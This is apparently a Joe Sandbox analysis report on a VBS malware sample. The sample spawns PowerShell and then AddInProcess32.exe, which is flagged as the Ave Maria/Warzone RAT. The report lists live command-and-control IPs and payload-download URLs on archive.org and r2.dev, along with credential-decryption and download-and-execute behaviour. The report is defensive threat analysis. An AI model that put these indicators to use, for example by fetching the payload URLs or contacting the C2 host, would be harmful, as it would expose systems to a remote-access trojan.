Windows Analysis Report
89SkYNNpdi.vbs

AI detected suspicious sample

Source: Yara match	File source: 4.2.powershell.exe.1b2b2de3860.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.AddInProcess32.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.AddInProcess32.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.1b2b2de3860.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.1399989665.000001B2A315C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1415526929.000001B2B2DE3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2626601197.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0040A8C3 lstrlenA,CryptStringToBinaryA,lstrcpyA,	5_2_0040A8C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0040C261 CryptUnprotectData,LocalAlloc,LocalFree,	5_2_0040C261
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0040C3B9 CryptStringToBinaryW,LocalAlloc,CryptStringToBinaryW,LocalFree,	5_2_0040C3B9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0040C419 BCryptOpenAlgorithmProvider,BCryptSetProperty,BCryptGenerateSymmetricKey,	5_2_0040C419
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_00409D97 RegQueryValueExW,GlobalAlloc,CryptUnprotectData,lstrcpyW,	5_2_00409D97
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0040C6BD LocalAlloc,BCryptDecrypt,LocalFree,	5_2_0040C6BD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CD28C58 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	5_2_6CD28C58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CD0E460 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PR_Lock,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSlot,	5_2_6CD0E460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CCF8411 PK11_ExportEncryptedPrivKeyInfo,PORT_NewArena_Util,PORT_ArenaZAlloc_Util,PK11_AlgtagToMechanism,PK11_DoesMechanism,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_FreeSymKey,PORT_ArenaAlloc_Util,SECOID_CopyAlgorithmID_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,SECKEY_DestroyPrivateKey,SECOID_DestroyAlgorithmID_Util,PORT_FreeArena_Util,PORT_SetError_Util,	5_2_6CCF8411
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CD266EA SEC_PKCS7ContentIsEncrypted,	5_2_6CD266EA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CCF8693 PK11_FindKeyByAnyCert,PK11_ExportEncryptedPrivKeyInfo,SECKEY_DestroyPrivateKey,	5_2_6CCF8693
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CD2427F SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaZAlloc_Util,PORT_ArenaRelease_Util,PORT_SetError_Util,PORT_SetError_Util,SEC_PKCS7DestroyContentInfo,PORT_ArenaRelease_Util,PT_FPrintStats,	5_2_6CD2427F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CD0E262 PK11SDR_Decrypt,PORT_NewArena_Util,memset,SEC_QuickDERDecodeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_GetNextSymKey,PK11_GetNextSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_FreeSlot,SECITEM_ZfreeItem_Util,	5_2_6CD0E262
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CD23DCD PORT_ArenaMark_Util,PORT_ArenaRelease_Util,PORT_SetError_Util,PORT_ArenaZAlloc_Util,PORT_SetError_Util,PORT_ArenaRelease_Util,PK11_IsInternal,PK11_GetInternalKeySlot,PK11_ReferenceSlot,PK11_FreeSlot,PORT_ArenaZAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,PT_FPrintStats,	5_2_6CD23DCD

Source: unknown	HTTPS traffic detected: 207.241.227.240:443 -> 192.168.2.10:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.140.237:443 -> 192.168.2.10:49703 version: TLS 1.2

Source:	Binary string: vcruntime140.i386.pdb source: AddInProcess32.exe, AddInProcess32.exe, 00000005.00000002.2645142075.0000000073BD1000.00000020.00000001.01000000.00000007.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2629190725.0000000004470000.00000004.00000020.00020000.00000000.sdmp, vcruntime140.dll.5.dr
Source:	Binary string: vcruntime140.i386.pdbGCTL source: AddInProcess32.exe, 00000005.00000002.2645142075.0000000073BD1000.00000020.00000001.01000000.00000007.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2629190725.0000000004470000.00000004.00000020.00020000.00000000.sdmp, vcruntime140.dll.5.dr
Source:	Binary string: z:\task_1538344561\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: AddInProcess32.exe, 00000005.00000002.2629588584.0000000004502000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2642667288.000000007024F000.00000002.00000001.01000000.0000000B.sdmp, freebl3.dll.5.dr
Source:	Binary string: AddInProcess32.pdb source: AddInProcess32.exe, 00000005.00000002.2628713134.0000000003613000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: msvcp140.i386.pdbGCTL source: AddInProcess32.exe, 00000005.00000002.2644081524.00000000702D1000.00000020.00000001.01000000.00000006.sdmp, AddInProcess32.exe, 00000005.00000002.2627316202.00000000014F7000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, msvcp140.dll.5.dr
Source:	Binary string: C:\Users\W7H64\source\repos\Ring3 CRAT x64\Ring3 CRAT x64\nope.pdb source: powershell.exe, 00000004.00000002.1399989665.000001B2A315C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1415526929.000001B2B2DE3000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2626601197.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: >+D C:\Users\W7H64\source\repos\Ring3 CRAT x64\Ring3 CRAT x64\nope.pdb source: powershell.exe, 00000004.00000002.1399989665.000001B2A315C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1415526929.000001B2B2DE3000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2626601197.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: z:\task_1538344561\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: AddInProcess32.exe, 00000005.00000002.2643159235.000000007028D000.00000002.00000001.01000000.0000000A.sdmp, AddInProcess32.exe, 00000005.00000002.2631215858.0000000004920000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.5.dr
Source:	Binary string: C:\Users\Tim\documents\visual studio 2010\Projects\sqlite\Release\sqlite3.pdb source: AddInProcess32.exe, 00000005.00000002.2630145863.0000000004573000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: msvcp140.i386.pdb source: AddInProcess32.exe, 00000005.00000002.2644081524.00000000702D1000.00000020.00000001.01000000.00000006.sdmp, AddInProcess32.exe, 00000005.00000002.2627316202.00000000014F7000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, msvcp140.dll.5.dr
Source:	Binary string: z:\task_1538344561\build\src\obj-thunderbird\security\nss3.pdb source: AddInProcess32.exe, 00000005.00000002.2635422321.0000000004FD2000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2641402406.000000006CD50000.00000002.00000001.01000000.00000009.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.5.dr
Source:	Binary string: AddInProcess32.pdbpw source: AddInProcess32.exe, 00000005.00000002.2628713134.0000000003613000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: z:\task_1538344561\build\src\obj-thunderbird\mozglue\build\mozglue.pdb source: AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2629190725.0000000004470000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2643512971.00000000702B9000.00000002.00000001.01000000.00000008.sdmp, mozglue.dll.5.dr
Source:	Binary string: System.Data.Linq.pdb source: powershell.exe, 00000004.00000002.1443666553.000001B2BB240000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.1415526929.000001B2B3B23000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: z:\task_1538344561\build\src\obj-thunderbird\mozglue\build\mozglue.pdb22! source: AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2629190725.0000000004470000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2643512971.00000000702B9000.00000002.00000001.01000000.00000008.sdmp, mozglue.dll.5.dr
Source:	Binary string: z:\task_1538344561\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: AddInProcess32.exe, 00000005.00000002.2643159235.000000007028D000.00000002.00000001.01000000.0000000A.sdmp, AddInProcess32.exe, 00000005.00000002.2631215858.0000000004920000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.5.dr
Source:	Binary string: z:\task_1538344561\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: AddInProcess32.exe, 00000005.00000002.2629588584.0000000004502000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2642667288.000000007024F000.00000002.00000001.01000000.0000000B.sdmp, freebl3.dll.5.dr
Source:	Binary string: C:\Users\Tim\documents\visual studio 2010\Projects\sqlite\Release\sqlite3.pdb source: AddInProcess32.exe, 00000005.00000002.2630145863.0000000004573000.00000004.00000020.00020000.00000000.sdmp

Spreading

Suspicious execution chain found

Source: Yara match

File source: 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_00411446 FindFirstFileW,FindNextFileW,	5_2_00411446
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_0040955B GetFullPathNameA,PathCombineA,PathCombineA,FindFirstFileA,PathCombineA,PathCombineA,FindNextFileA,	5_2_0040955B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 5_2_6CCCEF35 PR_SetError,_mbsinc,FindFirstFileA,GetLastError,	5_2_6CCCEF35

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 5_2_0041154A GetLogicalDriveStringsW,GetLogicalDriveStringsW,GetDriveTypeW,

5_2_0041154A

Software Vulnerabilities

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2852346 - Severity 1 - ETPRO MALWARE Ave Maria/Warzone RAT InitializePacket : 109.248.151.156:2048 -> 192.168.2.10:49704
Source: Network traffic	Suricata IDS: 2852347 - Severity 1 - ETPRO MALWARE Ave Maria/Warzone RAT BeaconResponse : 192.168.2.10:49704 -> 109.248.151.156:2048
Source: Network traffic	Suricata IDS: 2852350 - Severity 1 - ETPRO MALWARE Ave Maria/Warzone RAT ListPasswordsCommand : 109.248.151.156:2048 -> 192.168.2.10:49704
Source: Network traffic	Suricata IDS: 2839089 - Severity 1 - ETPRO MALWARE Ave Maria RAT Encrypted CnC Checkin (2) : 192.168.2.10:49704 -> 109.248.151.156:2048
Source: Network traffic	Suricata IDS: 2852352 - Severity 1 - ETPRO MALWARE Ave Maria/Warzone RAT DownloadAndExecuteCommand : 192.168.2.10:49704 -> 109.248.151.156:2048
Source: Network traffic	Suricata IDS: 2852355 - Severity 1 - ETPRO MALWARE Ave Maria/Warzone RAT VNCGetModule : 192.168.2.10:49704 -> 109.248.151.156:2048
Source: Network traffic	Suricata IDS: 2852354 - Severity 1 - ETPRO MALWARE Ave Maria/Warzone RAT RemoteModuleLoadResponse : 109.248.151.156:2048 -> 192.168.2.10:49704
Source: Network traffic	Suricata IDS: 2839088 - Severity 1 - ETPRO MALWARE Ave Maria RAT Encrypted CnC KeepAlive Outbound (2) : 192.168.2.10:49704 -> 109.248.151.156:2048
Source: Network traffic	Suricata IDS: 2852351 - Severity 1 - ETPRO MALWARE Ave Maria/Warzone RAT ListPasswordsResponse : 192.168.2.10:49704 -> 109.248.151.156:2048
Source: Network traffic	Suricata IDS: 2839087 - Severity 1 - ETPRO MALWARE Ave Maria RAT Encrypted CnC KeepAlive Inbound (2) : 109.248.151.156:2048 -> 192.168.2.10:49704
Source: Network traffic	Suricata IDS: 2852348 - Severity 1 - ETPRO MALWARE Ave Maria/Warzone RAT PingCommand : 109.248.151.156:2048 -> 192.168.2.10:49704
Source: Network traffic	Suricata IDS: 2851450 - Severity 1 - ETPRO MALWARE Ave Maria RAT Encrypted CnC KeepAlive Outbound (3) : 192.168.2.10:49704 -> 109.248.151.156:2048
Source: Network traffic	Suricata IDS: 2852349 - Severity 1 - ETPRO MALWARE Ave Maria/Warzone RAT PingResponse : 192.168.2.10:49704 -> 109.248.151.156:2048
Source: Network traffic	Suricata IDS: 2020423 - Severity 1 - ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 1 M1 : 162.159.140.237:443 -> 192.168.2.10:49703
Source: Network traffic	Suricata IDS: 2020425 - Severity 1 - ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 3 M1 : 162.159.140.237:443 -> 192.168.2.10:49703
Source: Network traffic	Suricata IDS: 2020424 - Severity 1 - ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1 : 162.159.140.237:443 -> 192.168.2.10:49703

C2 URLs / IPs found in malware configuration

Source: Yara match

File source: 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Source: Malware configuration extractor

URLs: 109.248.151.156

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 5_2_0040290E URLDownloadToFileW,ShellExecuteW,

5_2_0040290E

Source: global traffic

TCP traffic: 192.168.2.10:49704 -> 109.248.151.156:2048

Source: global traffic	HTTP traffic detected: GET /24/items/detah-note-v/DetahNoteV.txt HTTP/1.1Host: ia600100.us.archive.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /onye.txt HTTP/1.1Host: pub-26ee9be236b54d0cb1b570a203543b93.r2.devConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 162.159.140.237 162.159.140.237
Source: Joe Sandbox View	IP Address: 162.159.140.237 162.159.140.237
Source: Joe Sandbox View	IP Address: 207.241.227.240 207.241.227.240

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: DATACLUBLV DATACLUBLV

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156
Source: unknown	TCP traffic detected without corresponding DNS query: 109.248.151.156

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 5_2_0040577F setsockopt,recv,recv,

5_2_0040577F

Source: global traffic	HTTP traffic detected: GET /24/items/detah-note-v/DetahNoteV.txt HTTP/1.1Host: ia600100.us.archive.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /onye.txt HTTP/1.1Host: pub-26ee9be236b54d0cb1b570a203543b93.r2.devConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: ia600100.us.archive.org
Source: global traffic	DNS traffic detected: DNS query: pub-26ee9be236b54d0cb1b570a203543b93.r2.dev

Source: AddInProcess32.exe, 00000005.00000002.2629588584.0000000004502000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631215858.0000000004920000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2635422321.0000000004FD2000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2629190725.0000000004470000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.5.dr, softokn3.dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: AddInProcess32.exe, 00000005.00000002.2639138695.0000000005397000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: AddInProcess32.exe, 00000005.00000002.2639138695.0000000005397000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: AddInProcess32.exe, 00000005.00000002.2629588584.0000000004502000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631215858.0000000004920000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2635422321.0000000004FD2000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2629190725.0000000004470000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.5.dr, softokn3.dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: AddInProcess32.exe, 00000005.00000002.2639138695.0000000005397000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: AddInProcess32.exe, 00000005.00000002.2629588584.0000000004502000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631215858.0000000004920000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2635422321.0000000004FD2000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2629190725.0000000004470000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.5.dr, softokn3.dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: AddInProcess32.exe, 00000005.00000002.2629588584.0000000004502000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631215858.0000000004920000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2635422321.0000000004FD2000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2629190725.0000000004470000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.5.dr, softokn3.dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: AddInProcess32.exe, 00000005.00000002.2639138695.0000000005397000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: AddInProcess32.exe, 00000005.00000002.2639138695.0000000005397000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: AddInProcess32.exe, 00000005.00000002.2629588584.0000000004502000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631215858.0000000004920000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2635422321.0000000004FD2000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2629190725.0000000004470000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.5.dr, softokn3.dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: AddInProcess32.exe, 00000005.00000002.2629588584.0000000004502000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631215858.0000000004920000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2635422321.0000000004FD2000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2629190725.0000000004470000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.5.dr, softokn3.dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: AddInProcess32.exe, 00000005.00000002.2639138695.0000000005397000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: AddInProcess32.exe, 00000005.00000002.2629588584.0000000004502000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631215858.0000000004920000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2635422321.0000000004FD2000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2629190725.0000000004470000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.5.dr, softokn3.dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: AddInProcess32.exe, 00000005.00000002.2639138695.0000000005397000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: powershell.exe, 00000004.00000002.1399989665.000001B2A4249000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ia600100.us.archive.org
Source: powershell.exe, 00000004.00000002.1399989665.000001B2A447C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1415526929.000001B2B2B99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: AddInProcess32.exe, 00000005.00000002.2639138695.0000000005397000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: AddInProcess32.exe, 00000005.00000002.2629588584.0000000004502000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631215858.0000000004920000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2635422321.0000000004FD2000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2629190725.0000000004470000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.5.dr, softokn3.dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr	String found in binary or memory: http://ocsp.digicert.com0C
